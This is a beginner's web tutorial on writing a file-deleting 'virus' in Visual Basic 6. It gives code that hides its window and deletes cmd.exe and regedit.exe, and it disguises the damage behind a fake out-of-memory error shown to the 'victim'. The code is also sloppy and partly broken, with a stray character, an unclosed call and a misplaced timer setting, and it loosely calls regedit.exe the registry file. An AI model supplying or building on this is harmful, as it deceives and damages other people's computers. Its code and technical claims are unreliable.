Creating a computer virus is going to be pretty hard, especially for beginners. Well, this tutorial will show you how to create a simple computer virus with only a few codes. A computer virus can be an application which deletes files from the computer, and infects your computer because it deletes files, codes, and you need an Antivirus to clean your computer in order to be back as normal.
First, open a New Project in Visual basic, a Standard exe file. Now it depends on how do you want your virus to work, I’m thinking it’s better to activate a single time the opened application so that the Main Codes to be always in order. In your project insert a Text Box, a command button and a Timer, but we will use these later.
In the project type the file you want it to delete, for example if you want to delete the command file, then you must insert in TAB order the following codes:
Private Sub Form_Load()
Text1.Text = “C:/Windows/System32/cmd.exe”
Kill Text1.Text
End Sub
When the program is run a single time, the command file will be deleted. Now i will show you a “making” example and using the command button. Insert the next code in the Command Button in the loaded form. You can insert a simple text box in order to make the virus to act faster. I inserted “A”:
Private Sub Form_Load()
Text1.Text = “C:/Windows/System32/cmd.exe”
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub
Now you only need to press the command button a single time in the project and the file you selected to be deleted, will be deleted. Now we will user the Timer. If you want to Disguise your scheme then this is the right way to do it, we will send a Fake Message Error pretending the application has not enough memory for running, but in fact the victim does not know that you deleted the file.
The scheme:
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = “C:/Windows/System32/cmd.exe”
A = Text1.Text
Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub
At last, we made an invisible form so that it will display the false Error Message. We set a 5 seconds gap, meaning that after 5 seconds will delete the file, this is as simple for anyone. Ok, now we will make it a little bit difficult if you think this was easy. How to delete more than 1 file from the computer, and you don’t need a text box:
In the loaded form insert the next code:
Private Sub Form_Load()
Form1.Visible = False
Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”
Kill “C:/Windows/System32/cmd.exe” s
Kill “C:/Windows/regedit.exe”
End Sub
In the end, it will delete the command file and registry file, and I don’t think that the victim will be as pleased as you will be. Now I will show you the information which I believe to be your start for creating programs, and you can test it on your own PC, just copy a file, let’s say cmd.exe and paste it in C:/. Now insert the code, but in “Kill” insert: Kill “C:/cmd.exe”
That’s about everything that you need to “kill”, and then you will see the deleted file. Try other stuff and you’ll be a hell of a program in short time.
